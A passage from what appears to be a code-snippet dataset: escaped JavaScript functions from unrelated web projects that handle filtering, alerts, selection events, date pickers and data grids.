YYYY'));\\r\\n\\r\\n self.datePicked = function (start, end) {\\r\\n // console.log(moment(start).unix(), moment(end).unix());\\r\\n self.start = start;\\r\\n self.end = end;\\r\\n self.dateText(self.start.format('MMMM D, YYYY') + ' - ' + self.end.format('MMMM D, YYYY'))\\r\\n self.loadData();\\r\\n };\\r\\n\\r\\n// self.datePicked(self.start, self.end);\\r\\n self.dateText(self.start.format('MMMM D, YYYY') + ' - ' + self.end.format('MMMM D, YYYY'))\\r\\n self.loadData();\\r\\n }\",\n \"handleReadAlert(alert) {\\n }\",\n \"alertmanagers() {\\r\\n return this.request('GET', 'alertmanagers');\\r\\n }\",\n \"loadStaticActivity(e) {\\n \\n var myClick = document.getElementById('filterText'); \\n myClick.value = e;\\n myClick.addEventListener('change',function(){ \\n this.store.set({ filter: e })\\n }); \\n myClick.dispatchEvent(new Event('change'));\\n \\n }\",\n \"function popup1() {\\nalert(\\\"Filter text box provides the user to filter out the sessions which respond true for the corresponding user query for which the filter option is being run.\\\");\\n}\",\n \"function onFilter() {\\n \\n if(store.fromDate === null || store.toDate === null) {\\n return;\\n }\\n \\n el.innerHTML = loader();\\n \\n store.headers = {\\n name: 'Name',\\n symbol: 'Symbol',\\n avg_price: 'Avg Price',\\n volume: 'volume',\\n change: 'change %'\\n }\\n \\n setTimeout(function() {\\n el.innerHTML = null;\\n document.getElementById('filter-message').innerHTML = _filters();\\n _renderStocks()\\n }, 1000)\\n \\n \\n \\n}\",\n \"function dataRequestFromFilters(filtObj){\\n $(\\\"#filters\\\").on(\\\"change\\\", \\\"select\\\", function() {\\n $(\\\".mdl-spinner\\\").addClass(\\\"is-active\\\");\\n $.get(filtObj.url, function(data) {\\n \\n outputFilteredRows(data);\\n })\\n .always(function() {\\n $(\\\".mdl-spinner\\\").removeClass(\\\"is-active\\\");\\n });\\n });\\n}\",\n \"function filterHandler(){\\n $(\\\"#filter-btn\\\").on(\\\"click\\\", function(){\\n let selection = $(\\\"#sort\\\").val();\\n if(selection === \\\"oldest\\\" || selection === \\\"newest\\\" || selection === \\\"rating\\\"){\\n if(!getIds().length) return;\\n let ids = getIds();\\n $.get(\\\"/kimochis/filter\\\", \\n {selection: selection, name: localStorage.getItem(\\\"inputText\\\")}, function(data){\\n $(\\\"#main\\\").html(data);\\n $(\\\"#more-btn\\\").attr({\\\"disabled\\\": false, \\\"hidden\\\": false});\\n });\\n }\\n });\\n}\",\n \"componentDidMount() {\\n this.onShowPlaceholder()\\n // add emitter event listener\\n // filter and keep only the ones that are 'downloaded'\\n Subscriptions.push(\\n mrEmitter.addListener('onUpdateData', (updateData) => {\\n // adding selected property to tableData\\n let tempData = updateData.filter(this.filterDownloader)\\n for (let cData of tempData) {\\n cData.selected = false\\n }\\n this.setState({tableData: tempData})\\n this.onShowPlaceholderTimeout = setTimeout(() => {\\n this.onShowPlaceholder()\\n }, 300)\\n }),\\n // close the toolbar\\n mrEmitter.addListener('onCloseToolbar', () => this.onAllChecked('', false))\\n )\\n }\",\n \"function initToolSearch(e){\\n\\t\\t\\t//get toggle for sold or unsold listings\\n\\t\\t\\tlet toggleNum = 1;\\n\\t\\t\\tif(toggle === false){\\n\\t\\t\\t\\ttoggleNum = - 1;\\n\\t\\t\\t}else{\\n\\t\\t\\t\\ttoggleNum = 1;\\n\\t\\t\\t}\\n\\t\\t\\tlet searchVal = toolSearch.value.toLowerCase() || '';\\n\\t\\t\\ttableBody.innerHTML = '';\\n\\n\\t\\t\\t//display table data of filtered tools. with event listeners for each element\\n\\t\\t\\ttoolData.then( (tools)=>{\\n\\t\\t\\ttools.filter( (tool)=>{\\n\\t\\t\\t\\t//String of all the tool categories to search through for a match\\n\\t\\t\\t\\tlet name = tool.name.toLowerCase();\\n\\t\\t\\t\\tlet info = tool.description.toLowerCase();\\n\\t\\t\\t\\tlet brand = tool.brand.toLowerCase();\\n\\t\\t\\t\\tlet toolid = tool.id;\\n\\t\\t\\t\\tlet tool_condition = tool.tool_condition.toLowerCase();\\n\\t\\t\\t\\tlet toolsInfo = name + ' ' + info + ' ' + brand + ' ' + tool_condition + ' ' + toolid;\\n\\t\\t\\t\\tif(searchVal !== \\\"\\\"){\\n\\t\\t\\t\\t\\treturn toolsInfo.match(searchVal);\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tconsole.log('no input text');\\n\\t\\t\\t\\treturn tool;\\n\\t\\t\\t\\t\\n\\t\\t\\t}).filter((tools)=>{\\n\\t\\t\\t\\t//return only not sold tools\\n\\t\\t\\t\\treturn tools.sold == toggleNum;\\n\\t\\t\\t}).map( (tool) => {\\n\\t\\t\\t\\tif(tool.max_price === '0'){\\n\\t\\t\\t\\t\\ttoolMaxPrice = '';\\n\\t\\t\\t\\t}else{\\n\\t\\t\\t\\t\\ttoolMaxPrice = ' - ' + tool.max_price;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\ttableBody.innerHTML += `\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.name} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.brand} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.type} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.description} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.tool_condition} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.price} ${toolMaxPrice} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.id} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t \\n\\t\\t\\t\\t\\t\\t\\t\\t`;\\n\\t\\t\\t});\\n\\t\\t}).then(\\n\\t\\t\\tfunction(){\\n\\t\\t\\t\\tfor (var i = update.length - 1; i >= 0; i--) {\\n\\t\\t\\t\\t\\tupdate[i].parentElement.addEventListener('dblclick', dblClickHandleUpdate);\\n\\t\\t\\t\\t\\t//update[i].parentElement.addEventListener('click', handleUpdate);\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t);\\n\\t}\",\n \"function employeesContentViewModel() {\\n var self = this;\\n var data = [{name: \\\"Have Sleep Problems\\\", shape: \\\"human\\\", count: 7, colour: \\\"#ed6647\\\"},\\n {name: \\\"Sleep Well\\\", shape: \\\"human\\\", count: 3}];\\n\\n self.getColor = function (index) {\\n return index === 0 ? '#ed6647' : '';\\n };\\n //self.dataProvider = ko.observableArray(data);\\n self.dataProvider = new ArrayDataProvider(data, {keyAttributes: 'value'});\\n\\n self.handleNestedOpen = function () {\\n document.querySelector('#outerDialog').open();\\n };\\n self.handleOpen = function (event) {\\n var ui = event.detail;\\n //AnimationUtils['slideIn'](ui.element).then(ui.endCallback);\\n document.querySelector('#innerDialog').open();\\n };\\n self.handleOKClose = function () {\\n document.querySelector('#outerDialog').close();\\n };\\n self.handleOKClose2 = function () {\\n document.querySelector('#innerDialog').close();\\n };\\n\\n\\n self.fuelTypes = [{name: 'Bio-Diesel', abbr: 'BD'},\\n {name: 'Compressed Natural Gas', abbr: 'CNG'},\\n {name: 'Electric Charging', abbr: 'ELEC'},\\n {name: 'Ethanol', abbr: 'E85'},\\n {name: 'Hydrogen & Fuel Cell', abbr: 'HY'},\\n {name: 'Liquefied Natural Gas', abbr: 'LNG'},\\n {name: 'Liquefied Petroleum Gas', abbr: 'LPG'}\\n ];\\n\\n //self.handleActivated = function (info) {\\n self.cityVal = ko.observable('San Jose');\\n self.chartType = ko.observable('pie');\\n self.selectVal = ko.observableArray(['CA']);\\n self.pieSeriesValue = ko.observableArray([]);\\n self.groupsValue = ko.observableArray(['Fuel Types']);\\n self.seriesValue = ko.observable();\\n\\n // provide list of states for use in the select pulldown\\n self.States = [\\n {label: 'ALABAMA', value: 'AL'},\\n {label: 'ALASKA', value: 'AK'},\\n {label: 'AMERICAN SAMOA', value: 'AS'},\\n {label: 'ARIZONA', value: 'AZ'},\\n {label: 'ARKANSAS', value: 'AR'},\\n {label: 'CALIFORNIA', value: 'CA'},\\n {label: 'COLORADO', value: 'CO'},\\n {label: 'CONNECTICUT', value: 'CT'},\\n {label: 'DELAWARE', value: 'DE'},\\n {label: 'DISTRICT OF COLUMBIA', value: 'DC'},\\n {label: 'FEDERATED STATES OF MICRONESIA', value: 'FM'},\\n {label: 'FLORIDA', value: 'FL'},\\n {label: 'GEORGIA', value: 'GA'},\\n {label: 'GUAM', value: 'GU'},\\n {label: 'HAWAII', value: 'HI'},\\n {label: 'IDAHO', value: 'ID'},\\n {label: 'ILLINOIS', value: 'IL'},\\n {label: 'INDIANA', value: 'IN'},\\n {label: 'IOWA', value: 'IA'},\\n {label: 'KANSAS', value: 'KS'},\\n {label: 'KENTUCKY', value: 'KY'},\\n {label: 'LOUISIANA', value: 'LA'},\\n {label: 'MAINE', value: 'ME'},\\n {label: 'MARSHALL ISLANDS', value: 'MH'},\\n {label: 'MARYLAND', value: 'MD'},\\n {label: 'MASSACHUSETTS', value: 'MA'},\\n {label: 'MICHIGAN', value: 'MI'},\\n {label: 'MINNESOTA', value: 'MN'},\\n {label: 'MISSISSIPPI', value: 'MS'},\\n {label: 'MISSOURI', value: 'MO'},\\n {label: 'MONTANA', value: 'MT'},\\n {label: 'NEBRASKA', value: 'NE'},\\n {label: 'NEVADA', value: 'NV'},\\n {label: 'NEW HAMPSHIRE', value: 'NH'},\\n {label: 'NEW JERSEY', value: 'NJ'},\\n {label: 'NEW MEXICO', value: 'NM'},\\n {label: 'NEW YORK', value: 'NY'},\\n {label: 'NORTH CAROLINA', value: 'NC'},\\n {label: 'NORTH DAKOTA', value: 'ND'},\\n {label: 'NORTHERN MARIANA ISLANDS', value: 'MP'},\\n {label: 'OHIO', value: 'OH'},\\n {label: 'OKLAHOMA', value: 'OK'},\\n {label: 'OREGON', value: 'OR'},\\n {label: 'PALAU', value: 'PW'},\\n {label: 'PENNSYLVANIA', value: 'PA'},\\n {label: 'PUERTO RICO', value: 'PR'},\\n {label: 'RHODE ISLAND', value: 'RI'},\\n {label: 'SOUTH CAROLINA', value: 'SC'},\\n {label: 'SOUTH DAKOTA', value: 'SD'},\\n {label: 'TENNESSEE', value: 'TN'},\\n {label: 'TEXAS', value: 'TX'},\\n {label: 'UTAH', value: 'UT'},\\n {label: 'VERMONT', value: 'VT'},\\n {label: 'VIRGIN ISLANDS', value: 'VI'},\\n {label: 'VIRGINIA', value: 'VA'},\\n {label: 'WASHINGTON', value: 'WA'},\\n {label: 'WEST VIRGINIA', value: 'WV'},\\n {label: 'WISCONSIN', value: 'WI'},\\n {label: 'WYOMING', value: 'WY'}\\n ];\\n\\n self.getData = function () {\\n // using a Promise to allow the chart to render only once the data is available.\\n self.seriesValue(new Promise(function (resolve, reject) {\\n var url = \\\"https://api.data.gov/nrel/alt-fuel-stations/v1/nearest.json?location=\\\" + self.cityVal() + \\\"+\\\" + self.selectVal() + \\\"&api_key=\\\"\\n $.getJSON(url).then(function (data) {\\n var fuels = data.station_counts.fuels;\\n var seriesData = [];\\n for (var prop in fuels) {\\n if (fuels[prop].total > 0) {\\n seriesData.push({name: getFuelName(prop), items: [fuels[prop].total]})\\n }\\n }\\n resolve(seriesData);\\n });\\n }))\\n };\\n\\n // get the long name of the fuel type from the abbreviate returned by the REST service\\n var getFuelName = function (prop) {\\n for (var i in fuelTypes) {\\n if (fuelTypes[i].abbr === prop)\\n return fuelTypes[i].name;\\n }\\n }\\n //};\\n\\n\\n self.handleAttached = function (info) {\\n // once the DOM is available, call the getData to load defaults\\n self.getData();\\n };\\n\\n\\n }\",\n \"beforeFirstRender() {\\n // this._selectObserver = observe(() => {\\n // const entries = Array.from(this.checklistModel.selectedEntries, entry => {\\n // console.log(entry.item.name);\\n // return entry.item.name;\\n // });\\n // this._selectedItemsText = entries.join(', ');\\n // });\\n }\",\n \"function selectHandler() {\\n var selectedItem = chart.getSelection()[0];\\n if (selectedItem) {\\n var value = data.getValue(selectedItem.row, 0);\\n openPopup(value);\\n // console.log('The user selected - ' + value);\\n }\\n }\",\n \"function getAlert() {\\n return randomSelect([true, false]);\\n}\",\n \"function filterChange() {\\n updateFilter();\\n pullEvents();\\n //put events in page\\n}\",\n \"onResultSelected() {\\n const result = document.activeElement;\\n if (this.ux.results !== result.parentElement)\\n return;\\n this.publish(\\\"selectresult\\\", JSON.parse(result.dataset.d));\\n }\",\n \"function xcustom_makeActionOnObjectSelection() {\\r\\n var currentSelectedObject = xcustom_getCurrentSelectedObject();\\r\\n if (null === currentSelectedObject) {\\r\\n // console.log('Nothing Selected...');\\r\\n xcustom_resetAndClosePanelSelectedObjectContent();\\r\\n $('#xcustom-div-right-panel').hide();\\r\\n return;\\r\\n }\\r\\n // console.log('The Selected Object Is : ', currentSelectedObject);\\r\\n xcustom_showSelectedObjectDataOnViewer(currentSelectedObject);\\r\\n}\",\n \"function alertContents() {\\n\\tif(httpRequest.readyState === 4) {\\n\\t\\tif (httpRequest.status === 200) {\\n\\t\\t\\tJSONObj = JSON.parse(httpRequest.responseText);\\n\\t\\t} else {\\n\\t\\t\\talert('There was a problem with the request.'); \\n\\t\\t}\\n\\t}\\n\\tJSONObj = filter(JSONObj);\\n\\tgenerateGistList(JSONObj); \\n}\",\n \"function OnSelect(sender: Object, e: RoutedEventArgs) {\\n\\t\\t\\ttry {\\n\\t\\t\\t\\tSelectRow();\\n\\t\\t\\t\\tDashboardTaskService.Current.CloseTask(runner);\\n\\t\\t\\t} catch (ex: Exception) {\\n\\t\\t\\t\\tConfirmDialog.ShowErrorDialog(\\\"Script\\\", ex);\\n\\t\\t\\t}\\n\\t\\t}\",\n \"selectProduct(select) {\\n //get products by name\\n this.productService.getProductByName(select.option.value).subscribe(data => {\\n let product = data.payload.doc.data();\\n product[`doc_id`] = data.payload.doc.id;\\n //open selected product in modal\\n this.openDialog(product);\\n this.clearSearch();\\n });\\n }\",\n \"function loadPageDealAll(msg) {\\n if(!cache.show_capped_alert) {\\n return true;\\n }\\n cache.show_capped_alert = false;\\n bootbox.alert({\\n closeButton: false,\\n message: 'No records are found for \\\"' + msg + '\\\".
Please click Ok to go to see the complete list (All).',\\n title: 'Alert',\\n callback: function () {\\n var AllEle = $(\\\"#menu_wraper\\\").find('.item-list-detail:contains(\\\"All\\\"):first');\\n AllEle.trigger('click');\\n }\\n });\\n }\",\n \"function showStatus() {\\n\\n if ((reporteSeleccionado == 13) || (reporteSeleccionado == 14)) {\\n\\n if (banderas.banderaTodoSeleccionado == 0) {\\n if (Calles.length == 0) {\\n ngNotify.set('Seleccione al menos una calle', { type: 'error' });\\n }\\n else {\\n modalStatus();\\n }\\n }\\n else if (banderas.banderaTodoSeleccionado == 1) {\\n modalStatus();\\n }\\n }\\n }\",\n \"function filterResult() {\\n\\t//Add one event listener to the button group and then define what button was clicked depends on the event.target.id\\n\\t$('.btn-group').on('click', \\t\\t\\t\\t\\t\\t\\n\\tfunction(event){\\n\\t\\tif (event.target.id === \\\"all\\\") {\\n\\t\\t\\t$(\\\".offline\\\").show(\\\"slow\\\");\\n\\t\\t\\t$(\\\".not-exist\\\").show(\\\"slow\\\");\\n\\t\\t\\t$(\\\".online\\\").show(\\\"slow\\\");\\n\\t\\t\\t\\n\\t\\t}\\n\\t\\telse if (event.target.id === \\\"online\\\") {\\n\\t\\t\\t$(\\\".offline\\\").hide(\\\"slow\\\");\\n\\t\\t\\t$(\\\".not-exist\\\").hide(\\\"slow\\\");\\n\\t\\t\\t$(\\\".online\\\").show(\\\"slow\\\");\\n\\t\\t\\t\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\t$(\\\".not-exist\\\").hide(\\\"slow\\\");\\n\\t\\t\\t$(\\\".online\\\").hide(\\\"slow\\\");\\n\\t\\t\\t$(\\\".offline\\\").show(\\\"slow\\\");\\n\\t\\t}\\n\\t});\\t\\n}\",\n \"function initAlerts($nyplAlerts, $rootScope, nyplAlertsService) {\\n $nyplAlerts.getGlobalAlerts().then(function (data) {\\n var alerts = $rootScope.alerts || data;\\n $rootScope.alerts =\\n nyplAlertsService.filterAlerts(alerts, {current: true});\\n $nyplAlerts.alerts = $rootScope.alerts || data;\\n }).catch(function (error) {\\n throw error;\\n });\\n }\",\n \"function viewFilters() {\\n let text = '';\\n filterArray.forEach(item => (text = text + '\\\\n\\\\t' + item));\\n let statusText = disabled ? 'disabled' : 'enabled';\\n alert('Installed Filters (currently' + statusText + '):' + text);\\n}\",\n \"function initFirstFilter(){\\n var firstFilterWrap = getComponent('first-filter');\\n var filterArrays = firstFilterWrap.getElementsByTagName('li');\\n\\n [].forEach.call(filterArrays,function (item) {\\n item.addEventListener('click',selected)\\n })\\n\\n function selected(e){\\n if(this.firstElementChild.classList.contains('selected')){\\n return;\\n }\\n removeSelected();\\n console.log(e);\\n this.firstElementChild.classList.add('selected');\\n if(this.innerText === 'All'){\\n window.firstFilterStatus = 0;\\n }else if(this.innerText === 'Active'){\\n window.firstFilterStatus = 1;\\n }else{\\n window.firstFilterStatus = 2;\\n }\\n update();\\n }\\n\\n function removeSelected(){\\n [].forEach.call(filterArrays,function (item) {\\n if(item.firstElementChild.classList.contains('selected')){\\n item.firstElementChild.classList.remove('selected');\\n }\\n })\\n }\\n}\",\n \"function bindSelect() {\\n initializeTimeFunction();\\n extent = brush.extent(); //data of selection\\n userTimeData = [];\\n\\n extent.forEach(function (element) {\\n var t = String(element.getTime() / 1000 * 1000);\\n userTimeData.push(t);\\n });\\n\\n if ($scope.fingerPrintsMode) {\\n clearFingerprintHeatmap();\\n $scope.showFingerprintHeatmap();\\n document.getElementById(\\\"fingerPrints-mode\\\").classList.add('quickaction-selected');\\n }\\n\\n if ($scope.radioHeatmapRSSMode) {\\n clearFingerprintCoverage();\\n $scope.showFingerprintCoverage();\\n $scope.radioHeatmapRSSMode = true;\\n if (typeof (Storage) !== \\\"undefined\\\" && localStorage) {\\n localStorage.setItem('radioHeatmapRSSMode', 'YES');\\n }\\n $scope.anyService.radioHeatmapRSSMode = true;\\n document.getElementById(\\\"radioHeatmapRSS-mode\\\").classList.add('quickaction-selected');\\n }\\n }\",\n \"constructor() {\\n riot.observable(this);\\n this.listenToSelectedUpdate();\\n }\",\n \"function showSLASummary() {\\n\\tvar grid = View.panels.get('slaList');\\n\\tView.controllers.get(0).trigger('app:operation:express:sla:showSLASummaryPopUp',\\n\\t\\t\\tgrid.rows[grid.selectedRowIndex].row);\\n}\",\n \"function filterTypeSelection(e){\\n if(e.target.value === ''){\\n getInventory()\\n } else {\\n axios.get(`/inventory/search/dept?dept=${e.target.value}`)\\n .then(res => setItems(res.data))\\n .catch(err => alert(err))\\n }\\n }\",\n \"function onShowDetail(element) {\\r\\n try {\\r\\n var dataId = jQuery(element).attr('data-id');\\r\\n\\r\\n g_currentOperation = dataId;\\r\\n\\r\\n if (!dataId || dataId.length <= 0) {\\r\\n dataId = WotpUtilityCommon.CurrentOperations.None;\\r\\n }\\r\\n\\r\\n //passing the filter info to load detail data\\r\\n loadDataDetail(dataId);\\r\\n\\r\\n } catch (e) {\\r\\n nlapiLogExecution('ERROR', 'Error during main onShowDetail', e.toString());\\r\\n }\\r\\n}\",\n \"function createAlert() {\\n\\tvar local_current_hash = 0;\\n\\n\\tif ((local_current_hash = save_search()) != false) {\\n\\t\\t// activation de l'alerte\\n\\t\\tswitch_alert_from_search('', local_current_hash);\\n\\t\\t$('#popupCreateAlert').popup('open');\\n\\t}\\n\\telse {\\n\\t\\t$('#popupAlreadyExistsAlert').popup('open');\\n\\t}\\n}\",\n \"function filterData(data) {\\n var regionFilter = typeof(ClientContext)==='object' ? ClientContext.get('profile/region') : ALL_REGIONS;\\n var soaIDFilter = typeof(ClientContext)==='object' ? ClientContext.get('/profile/soaId') : ALL_SOAID;\\n var pageFilter = alertSelf.attr('data-alert-filter');\\n\\n var jsonObj = {};\\n jsonObj['alerts'] = [];\\n\\n for (var i=0; i< data.alerts.length; i++) {\\n var alertMsg = data.alerts[i];\\n\\n if ((isInRegion(alertMsg, regionFilter)|| isInSoiID(alertMsg, soaIDFilter))\\n && isOnPage(alertMsg, pageFilter)\\n && isOnTime(alertMsg))\\n {\\n jsonObj['alerts'].push({'message' : cleanUpRTEHtmlMarkup(alertMsg.message),\\n 'backgroundColor' : alertMsg.backgroundColor,\\n 'textColor' : alertMsg.textColor});\\n }\\n }\\n\\n return jsonObj;\\n }\",\n \"function refreshProductsView() {\\n let filteredProducts = filterByCountryName(products, countrySelect.value);\\n filteredProducts = filterByName(filteredProducts, searchInput.value);\\n filteredProducts = sortList(filteredProducts, sortSelect.value);\\n filteredProducts = filterByRangeOfPrice(filteredProducts, priceRange.value);\\n console.log(filterByRangeOfPrice(filteredProducts, priceRange.value));\\n\\n renderProducts(filteredProducts);\\n}\",\n \"function _eventTableAllNotificationClicked(e)\\n{\\n\\ttry\\n\\t{\\n\\t\\tif (Alloy.Globals.currentWindow == \\\"winMyServices\\\" && (Alloy.Globals.currentWindow != null || Alloy.Globals.currentWindow != undefined))\\n\\t\\t\\tAlloy.Globals.arrWindows[Alloy.Globals.arrWindows.length - 1].close();\\n\\t\\t\\t\\n\\t\\tvar nTypeId = e.row.nTypeId;\\n\\t\\tif (nTypeId==\\\"5\\\"){\\n\\t\\t\\tTi.API.info('ASSOCIATED MESSAGE ROW: '+e.row.nTypeIdVal);\\n\\t\\t\\t\\n\\t\\t\\t/*var userid = Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\");\\n\\t\\t\\t\\tuserid = (Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\") == null ? 0 : Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\").userName);*/\\n\\t\\t\\t\\t\\n\\t\\t\\thttpManager.markNotificationMessageAsRead(function(response){\\n\\t\\t\\t\\t\\tif (response=='1')\\n\\t\\t\\t\\t\\t\\t$.tableviewAllNotifications.deleteRow(e.index);\\n\\t\\t\\t\\t\\tvar data = {\\\"response\\\":\\\"\\\", \\n\\t\\t\\t\\t\\t\\t\\t\\t\\\"idToExpand\\\":e.row.nTypeIdVal, \\n\\t\\t\\t\\t\\t\\t\\t\\t\\\"isNoRecord\\\":\\\"\\\" , \\n\\t\\t\\t\\t\\t\\t\\t\\turl : \\\"\\\"};\\n\\t\\t\\t\\t\\tAlloy.Globals.openWindow(Alloy.createController(\\\"Services/MyServices/winMyServices\\\", data).getView());\\n\\t\\t\\t\\t},e.row.messageId, (Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\") == null ? 0 : Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\").userName));\\n\\t\\t}else{\\n\\t\\t\\tTi.API.info('WHY OTHER RECORDS CAME HERE... ONLY eSERVICES NOTIFICATION COMES HERE');\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\tsetTimeout(function(){$.viewNotificationMain.animate({opacity : 0,duration : 300}, function(e) {$.viewNotificationMain.visible = false;});},500);\\n\\t}\\n\\tcatch(e){Ti.API.info(' ############# ERROR IN eSERVICES TABLE NOTIFICATION CLICK ############## '+JSON.stringify(e));}\\n}\",\n \"onGetAll() {\\n console.log('getAll action triggered')\\n }\",\n \"componentDidLoad() {\\n this.getRenderedTabItems().filter(item => {\\n if (item['active']) {\\n this.dtmTabTitle = item['tabTitle'];\\n this.emitAnalyticsData();\\n }\\n });\\n }\",\n \"_refresh() {\\r\\n\\t\\tthis._lastUpdateCount = this._alertModel.getUpdateCount();\\r\\n\\r\\n\\t\\tthis._div.innerHTML = \\\"\\\";\\r\\n\\t\\tconst alerts = this._alertModel.getCurrentAlerts();\\r\\n\\t\\tfor(let i = 0; i < alerts.length; ++i) {\\r\\n\\t\\t\\tthis._addAlert(alerts[i]);\\r\\n\\t\\t}\\r\\n\\t}\",\n \"openOnwerFilter(){\\n\\n var selected = this.template.querySelector(\\\".selected-owner\\\");\\n var optionsContainer = this.template.querySelector(\\\".options-container-owner\\\");\\n var optionsList =this.template.querySelectorAll(\\\".option-owner\\\");\\n selected.addEventListener(\\\"click\\\", () => {\\n optionsContainer.classList.toggle(\\\"active\\\");\\n }); \\n //selected.addEventListener(\\\"click\\\", () => {\\n //});\\n\\n /* optionsList.forEach(o => {\\n o.addEventListener(\\\"click\\\", () => {\\n selected.innerHTML = o.querySelector(\\\"label\\\").innerHTML;\\n optionsContainer.classList.remove(\\\"active\\\");\\n });\\n });\\n */\\n }\",\n \"_handleClick()\\n {\\n Radio.channel('rodan').trigger(RODAN_EVENTS.EVENT__RESOURCELIST_SELECTED, {resourcelist: this.model});\\n }\",\n \"setAlertCloseToday(){\\n \\n \\n var aujourdhuiplus3 = this.todayplus3days.toLocaleDateString();\\n\\n this.eventsCloseOftheday =[]; // vide le tableau des alertesCloseToday avant chaque set\\n \\n for(var eventac of this.events){ // pour chaque date de debut d'event = a la date d'aujourdhuiplus3 jours\\n if( eventac.datestartevent == aujourdhuiplus3 ){\\n this.addAlertCloseToday(eventac);\\n \\n }\\n \\n }\\n \\n }\",\n \"function onChangeGoodList(){\\n\\t\\t\\t\\n\\t\\t\\tif ($(\\\"#goodsListPopupGrid\\\").data(\\\"kendoGrid\\\").select().length > 0){\\n\\t\\t\\t\\tvar tr = $(\\\"#goodsListPopupGrid\\\").data(\\\"kendoGrid\\\").select().closest(\\\"tr\\\");\\n \\t\\t\\tvar dataItem = $(\\\"#goodsListPopupGrid\\\").data(\\\"kendoGrid\\\").dataItem(tr);\\n \\t\\t\\t\\n \\t\\t\\tvm.orderGoodsDetailSearch = dataItem;\\n \\t\\t\\t$(\\\"#goodsCodeAndNameCreExtNote\\\").text(vm.orderGoodsDetailSearch.goodsCode+\\\" \\\"+vm.orderGoodsDetailSearch.goodsName);\\n\\t\\t\\t\\t\\n \\t\\t\\tvar grid = $(\\\"#goodsDetailGrid\\\").data(\\\"kendoGrid\\\");\\t\\n \\t\\t\\tif(grid){\\n \\t\\t\\t\\tgrid.dataSource.query({\\n \\t\\t\\t\\t\\tpage: 1,\\n \\t\\t\\t\\t\\tpageSize: 10\\n \\t\\t\\t\\t});\\n \\t\\t\\t} else {\\n \\t\\t\\tfillDataTableGoodsDetailPopUp([]);\\n \\t\\t\\t}\\n \\t\\t\\t\\n \\t\\t\\tconsole.log(vm.orderGoodsDetailSearch.goodsName);\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t}\",\n \"handleSelection(event) {\\n this.pollEverySec(this.interval);\\n const eventData = event.detail;\\n const fields = {\\n Name: eventData.name,\\n EventType: eventData.type,\\n PrimaryPersonId: this.contactId,\\n EventDate: new Date().toISOString()\\n };\\n this.showNewLifeEventPage(fields, \\\"new\\\");\\n }\",\n \"function load() {\\n if(vm.document._id !== -1) {\\n backendService.getDocumentById(vm.document._id).success(function(data) {\\n\\n // got the data - preset the selection\\n vm.document.title = data.title;\\n vm.document.fileName = data.fileName;\\n vm.document.amount = data.amount;\\n vm.document.senders = data.senders;\\n vm.document.tags = data.tags;\\n vm.document.modified = data.modified;\\n vm.document.created = data.created;\\n\\n vm.selectedSenders = data.senders;\\n vm.selectedTags = data.tags;\\n\\n })\\n .error( function(data, status, headers) {\\n\\n if(status === 403) {\\n $rootScope.$emit('::authError::');\\n return;\\n }\\n\\n alert('Error: ' + data + '\\\\nHTTP-Status: ' + status);\\n return $location.path('/');\\n\\n\\n });\\n } else {\\n vm.selectedSenders = [];\\n vm.selectedTags = [];\\n }\\n\\n }\",\n \"initExtras() {\\n this._extraService.getExtra().subscribe(response => {\\n this.extras = response.extra;\\n if (response.extra.length <= 0) {\\n this.fatalError = true;\\n this.loading = false;\\n this.launchAlert('info', 'Sin Datos de RMUV', 'Al parecer no existen datos de la Remuneracion Unificada Vigente, por favor, Ingresarlos antes de continuar', 'Ingresar Ahora!!', true, null, null, null, null, null);\\n // alert('no existen los datos de RMUV... por favor ingresarlos antes de continuar con los registros de consumo');\\n }\\n else if (response.extra.length >= 1) {\\n this.fatalError = false;\\n this.loading = false;\\n }\\n }, error => {\\n this.loading = false;\\n console.log(error);\\n this.errorCatched.description = error.toString();\\n this.errorCatched.table = 'Extra';\\n this.errorCatched.action = 'getExtras';\\n this.errorCatched.title = 'Error en la Obtencion de Los datos Extras';\\n this.errorCatched.zone = 'addRegister';\\n this.errorCatched.code = this.errorCatched.zone + '-' + this.errorCatched.action + '-' + this.errorCatched.table;\\n this.errorCatcherService.saveError(this.errorCatched).subscribe(response => {\\n this.launchAlert('error', 'Error en la Carga', 'Se ha producido un error a la hora de cargar los datos de la RMUV' + response.Message, 'Ir a la Ventana de Errores de Sistema? ', true, null, null, null, null, null);\\n });\\n });\\n }\",\n \"function initEventListener() {\\n $scope.$on(vm.controllerId + '.data.filter', function (e, v) {\\n vm.data.searchString = v;\\n });\\n $scope.$on(vm.controllerId + '.action.refresh', function (event, data) {\\n getPage(_tableState);\\n });\\n $scope.$on(vm.controllerId + '.action.reload', function (e, v) {\\n reload();\\n });\\n $scope.$on(vm.controllerId + '.action.F2', function (e, v) {\\n console.log(checkQuyenUI('N'));\\n if (checkQuyenUI('N')) {\\n window.location.href = linkUrl + 'create';\\n }\\n });\\n }\",\n \"handlesClick(){\\n \\n const selectedFieldsValueParam = this.selectedFieldsValue;\\n const showComp = this.showScreen;\\n this.hideObjectScreen=false;\\n const isHideObjectScreen= this.hideObjectScreen;\\n \\n //console.log('Hi' +showComp);\\n // console.log('selectedFieldsValueParam=='+this.selectedFieldsValue);\\n // console.log('selectedFieldsValueParam= '+selectedFieldsValueParam);\\n\\n //show error if no rows have been selected\\n if(selectedFieldsValueParam ===null || selectedFieldsValueParam===''){\\n const evt = new ShowToastEvent({\\n title: this._title,\\n message: this.message,\\n variant: this.variant,\\n });\\n this.dispatchEvent(evt);\\n }\\n else {\\n 